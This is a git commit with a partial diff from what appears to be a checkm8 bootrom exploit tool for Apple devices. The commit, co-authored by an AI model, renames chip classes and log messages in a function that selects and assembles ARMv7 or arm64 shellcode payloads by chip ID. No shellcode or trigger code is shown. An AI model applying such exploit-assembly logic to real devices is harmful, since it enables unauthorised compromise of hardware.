fix(device): Correct chip naming, CPID classification, and header guards

Renamed S5L8950/S5L8955 from "A9" to correct A5-class names, moved
them to ARMV7 macro, renamed CPID_IS_A9_CLASS to CPID_IS_LEGACY_64,
disambiguated duplicate A10 entries, and fixed cross-file header guard.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
This commit is contained in:
tr4m0ryp 2026-04-05 03:26:32 +02:00
parent a6ba920e14
commit 4e6f7b70ee
5 changed files with 47 additions and 34 deletions

View file

@ -116,8 +116,8 @@ int assemble_payload(exploit_ctx_t *ctx)
/*
* Select payload variant based on chip type:
* - ARMv7 (0x7002, 0x8002, 0x8004): armv7 header + armv7 shellcode
* - A9-class (0x8950, 0x8955, 0x8947, 0x8000, 0x8003): a9 header + arm64
* - ARMv7 (0x7002, 0x8002, 0x8004, 0x8950, 0x8955): armv7 header + armv7 shellcode
* - legacy 64-bit (0x8947, 0x8000, 0x8003): a9 header + arm64 shellcode
* - Everything else (A10+): notA9 header + arm64 shellcode
*/
if (CPID_IS_ARMV7(chip->cpid)) {
@ -126,12 +126,12 @@ int assemble_payload(exploit_ctx_t *ctx)
sc_len = checkm8_shellcode_armv7_len;
log_debug("assemble_payload: ARMv7 variant (hdr=%zu, sc=%zu)",
hdr_len, sc_len);
} else if (CPID_IS_A9_CLASS(chip->cpid) ||
} else if (CPID_IS_LEGACY_64(chip->cpid) ||
chip->cpid == 0x8000 || chip->cpid == 0x8003) {
hdr_len = sizeof(payload_hdr_a9_t);
sc = checkm8_shellcode_arm64;
sc_len = checkm8_shellcode_arm64_len;
log_debug("assemble_payload: A9 variant (hdr=%zu, sc=%zu)",
log_debug("assemble_payload: legacy-64 variant (hdr=%zu, sc=%zu)",
hdr_len, sc_len);
} else {
hdr_len = sizeof(payload_hdr_notA9_t);
@ -151,7 +151,7 @@ int assemble_payload(exploit_ctx_t *ctx)
/* Build the chip-specific header at the start of the buffer */
if (CPID_IS_ARMV7(chip->cpid)) {
build_hdr_armv7((payload_hdr_armv7_t *)buf, chip);
} else if (CPID_IS_A9_CLASS(chip->cpid) ||
} else if (CPID_IS_LEGACY_64(chip->cpid) ||
chip->cpid == 0x8000 || chip->cpid == 0x8003) {
build_hdr_a9((payload_hdr_a9_t *)buf, chip);
} else {